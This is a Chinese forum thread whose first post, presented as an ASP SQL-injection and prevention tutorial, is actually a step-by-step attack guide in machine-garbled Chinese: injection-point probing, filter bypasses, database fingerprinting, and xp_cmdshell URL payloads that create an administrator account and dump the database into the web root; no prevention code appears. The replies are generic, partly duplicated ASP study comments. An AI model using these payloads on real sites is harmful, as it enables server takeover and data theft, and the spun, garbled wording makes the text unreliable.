萌萌妈妈 发表于 2015-1-16 23:10:44

ASP教程之SQL不完整思绪与防注进程序

只要你想学,就没什么优缺点,上面那位大哥已经把网上的评论说了,但我认为想学哪个都一样,不然它就不可能在当今时代数字艺术方面存活到今天程序|防注进<一>SQL注进简介
很多网站程序在编写时,没有对用户输出数据的正当性举行判别,
使使用程序存在平安隐患。用户能够提交一段数据库查询代码,
(通常为在扫瞄器地点栏举行,经由过程一般的www端口会见)
依据程序前往的了局,取得某些他想得知的数据,
这就是所谓的SQLInjection,即SQL注进。
<二>SQL注进思绪
思绪最主要
实在很多多少人都不晓得SQL究竟能做甚么呢
这里总结一下SQL注进进侵的整体的思绪
1.SQL注进毛病的判别,即寻觅注进点
2.判别背景数据库范例
3.断定XP_CMDSHELL可实行情形;若以后毗连数据的帐号具有SA权限,
且master.dbo.xp_cmdshell扩大存储历程(挪用此存储历程能够间接利用操纵体系的shell)可以准确实行,则全部盘算机能够经由过程几种办法完整
把持,也就完成了全部注进历程
不然持续:
1.发明WEB假造目次
2.上传ASP木马;
3.失掉办理员权限
详细步骤
1、SQL注进毛病的判别
假如之前没玩过注进,
请把IE菜单-工具-Internet选项-初级-显现友爱HTTP毛病信息后面的勾往失落。
为了把成绩申明分明,以下以HTTP://www.ckuyun.com/news.asp?id=xx(这个地点是设想的)
为例举行剖析,xx多是整型,也有多是字符串。
1、整型参数的判别
当输出的参数xx为整型时,一般news.asp中SQL语句原貌大抵以下:
select*from表名where字段=xx,以是能够用以下步骤测试SQL注进是不是存在。
最复杂的判别办法
HTTP://www.ckuyun.com/news.asp?id=xx’(附加一个单引号),
此时news.asp中的SQL语句酿成了
select*from表名where字段=xx’,
假如程序没有过滤好“’”的话
就会提醒news.asp运转非常;
但如许的办法固然很复杂,但并非最好的
由于
first,纷歧定每台服务器的IIS都前往详细毛病提醒给客户端,
假如程序中加了cint(参数)之类语句的话,SQL注进是不会乐成的,
但服务器一样会报错,详细提醒信息为处置URL时服务器上堕落。
请和体系办理员联系。
second,今朝年夜多半程序员已将“’“过滤失落,以是用”’”测试不到注进点
以是一样平常利用典范的1=1和1=2测试办法
见下文:
HTTP://www.ckuyun.com/news.asp?id=xxand1=1,news.asp运转一般,
并且与HTTP://www.ckuyun.com/news.asp?id=xx运转了局不异;
HTTP://www.ckuyun.com/news.asp?id=xxand1=2,news.asp运转非常;(这就是典范的1=11=2判别办法)
假如以下面满意,news.asp中就会存在SQL注进毛病,反之则大概不克不及注进。
2、字符串型参数的判别
办法与数值型参数判别办法基础不异
当输出的参数xx为字符串时,一般news.asp中SQL语句原貌大抵以下:
select*from表名where字段=xx,以是能够用以下步骤测试SQL注进是不是存在。
HTTP://www.ckuyun.com/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句酿成了
select*from表名where字段=xx’,news.asp运转非常;
HTTP://www.ckuyun.com/news.asp?id=xxand1=1,news.asp运转一般,
并且与HTTP://www.ckuyun.com/news.asp?id=xx运转了局不异;
HTTP://www.ckuyun.com/news.asp?id=xxand1=2,news.asp运转非常;
假如以上满意,则news.asp存在SQL注进毛病,反之则不克不及注进
3、特别情形的处置
偶然ASP程序员会在程序员过滤失落单引号等字符,以避免SQL注进。此时能够用以下几种办法试一试。
①巨细定夹杂法:因为VBS其实不辨别巨细写,而程序员在过滤时一般要末全体过滤年夜写字符串,要末全体过滤小写字符串,而巨细写夹杂常常会
被无视。如用SelecT取代select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集完成国际化,我们完整能够IE中输出的字符串化成UNICODE字符串举行输出。如+=%2B,空格=%20等
;URLEncode信息拜见附件一;
③ASCII码法:能够把输出的部分或全体字符全体
<4>出了上述办法之外,另有个更复杂的办法就是利用现成的工具
像NB同盟的NBSI就是一款很不错的工具,今朝最新的版本为2.2




二,判别数据库范例
分歧的数据库的函数、注进办法都是有差别的,以是在注进之前,我们还要判别一下数据库的范例。一样平常ASP最常搭配的数据库是Access和
SQLServer,网上凌驾99%的网站都是个中之一。
怎样让程序告知你它利用的甚么数据库呢?来看看:
SQLServer有一些体系变量,假如服务器IIS提醒没封闭,而且SQLServer前往毛病提醒的话,那能够间接从堕落信息猎取,办法以下:
HTTP://www.ckuyun.com/news.asp?id=xx;anduser>0
这句语句很复杂,但却包括了SQLServer特有注进办法的精华,我本人也是在一次偶然的测试中发明这类效力极高的猜解办法。让我看来看看它
的寄义:起首,后面的语句是一般的,重点在anduser>0,我们晓得,user是SQLServer的一个内置变量,它的值是以后毗连的用户名,范例为
nvarchar。拿一个nvarchar的值跟int的数0对照,体系会先试图将nvarchar的值转成int型,固然,转的过程当中一定会堕落,SQLServer的堕落
提醒是:将nvarchar值”abc”转换数据范例为int的列时产生语法毛病,呵呵,abc恰是变量user的值,如许,不废吹灰之力就拿到了数据
库的用户名。在今后的篇幅里,人人会看到良多用这类办法的语句。特地说几句,尽人皆知,SQLServer的用户sa是个同等Adminstrators权限
的脚色,拿到了sa权限,几近一定能够拿到主机的Administrator了。下面的办法能够很便利的测试出是不是是用sa登录,要注重的是:假如是
sa登录,提醒是将”dbo”转换成int的列产生毛病,而不是”sa”。
假如服务器IIS不同意前往毛病提醒,那怎样判别数据库范例呢?我们能够从Access和SQLServer和区分动手,Access和SQLServer都有本人的
体系表,好比寄存数据库中一切工具的表,Access是在体系表中,但在Web情况下读该表会提醒“没有权限”,SQLServer是在表
中,在Web情况下可一般读取。
在确承认以注进的情形下,利用上面的语句:
HTTP://www.ckuyun.com/news.asp?id=xx;and(selectcount(*)fromsysobjects)>0
HTTP://www.ckuyun.com/news.asp?id=xx;and(selectcount(*)frommsysobjects)>0
假如数据库是SQLServer,那末第一个网址的页面与原页面HTTP://www.ckuyun.com/news.asp?id=xx是大抵不异的;而第二个网址,因为找不到表
msysobjects,会提醒堕落,就算程序有容错处置,页面也与原页面完整分歧。
假如数据库用的是Access,那末情形就有所分歧,第一个网址的页面与原页面完整分歧;第二个网址,则视乎数据库设置是不是同意读该体系表
,一样平常来讲是不同意的,以是与原网址也是完整分歧。年夜多半情形下,用第一个网址就能够得知体系所用的数据库范例,第二个网址只作为开
启IIS毛病提醒时的考证。




3、断定XP_CMDSHELL可实行情形
若以后毗连数据的帐号具有SA权限,
且master.dbo.xp_cmdshell扩大存储历程
(挪用此存储历程能够间接利用操纵体系的shell)可以准确实行,
则全部盘算机能够经由过程以下几种办法完整把持,今后的一切步骤都能够省
1、HTTP://www.ckuyun.com/news.asp?id=xxanduser>;0news.asp实行非常但能够失掉以后毗连数据库的用户名(若显现dbo则代表SA)。
2、HTTP://www.ckuyun.com/news.asp?id=xxanddb_name()>0news.asp实行非常但能够失掉以后毗连的数据库名。
3、HTTP://www.ckuyun.com/news.asp?id=xx;execmaster..xp_cmdshell“netuseraaabbb/add”--(master是SQL-SERVER的主数据
库;名中的分号暗示SQL-SERVER实行完分号前的语句名,持续实行厥后面的语句;“―”号是注解,暗示厥后面的一切内容仅为正文,体系并
不实行)能够间接增添操纵体系帐户aaa,暗码为bbb。
4、HTTP://www.ckuyun.com/news.asp?id=xx;execmaster..xp_cmdshell“netlocalgroupadministratorsaaa/add”--把方才增添
的帐户aaa加到administrators组中。
5、HTTP://www.ckuyun.com/news.asp?id=xx;backuupdatabase数据库名todisk=c:inetpubwwwrootsave.db则把失掉的数据内容
全体备份到WEB目次下,</p>使用filesystemobject,可以对服务器上的文件进行操作,浏览、复制、移动、删除等。有ado的支持,asp对数据库的操作非常得心应手。你甚至可以像使用本地数据库那样,管理远程主机上的数据库,对表格、记录进行各种操作。

仓酷云 发表于 2015-1-20 07:54:06

代码逻辑混乱,难于管理:由于ASP是脚本语言混合html编程,所以你很难看清代码的逻辑关系,并且随着程序的复杂性增加,使得代码的管理十分困难,甚至超出一个程序员所能达到的管理能力,从而造成出错或这样那样的问题。

谁可相欹 发表于 2015-1-29 05:12:45

多看多学多思。多看一些关于ASP的书籍,一方面可以扩展知识面一方面可以鉴借别人是如何掌握、运用ASP的;多学善于关注别人,向同学老师多多学习,不论知识的大小;多思则是要将学到的知识灵活运用。

深爱那片海 发表于 2015-2-5 20:58:30

Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点)

柔情似水 发表于 2015-2-13 13:07:00

在平时的学习过程中要注意现学现用,注重运用,在掌握了一定的基础知识后,我们可以尝试做一些网页,也许在开始的时候我们可能会遇到很多问题,比如说如何很好的构建基本框架。

若天明 发表于 2015-3-3 21:37:24

完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。

若相依 发表于 2015-3-11 13:41:15

如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。

只想知道 发表于 2015-3-18 14:56:07

多看多学多思。多看一些关于ASP的书籍,一方面可以扩展知识面一方面可以鉴借别人是如何掌握、运用ASP的;多学善于关注别人,向同学老师多多学习,不论知识的大小;多思则是要将学到的知识灵活运用。

不帅 发表于 2015-3-26 01:00:56

Request:从字面上讲就是“请求”,因此这个是处理客户端提交的东东的,例如Resuest.Form,Request.QueryString,或者干脆Request("变量名")
页: [1]
查看完整版本: ASP教程之SQL不完整思绪与防注进程序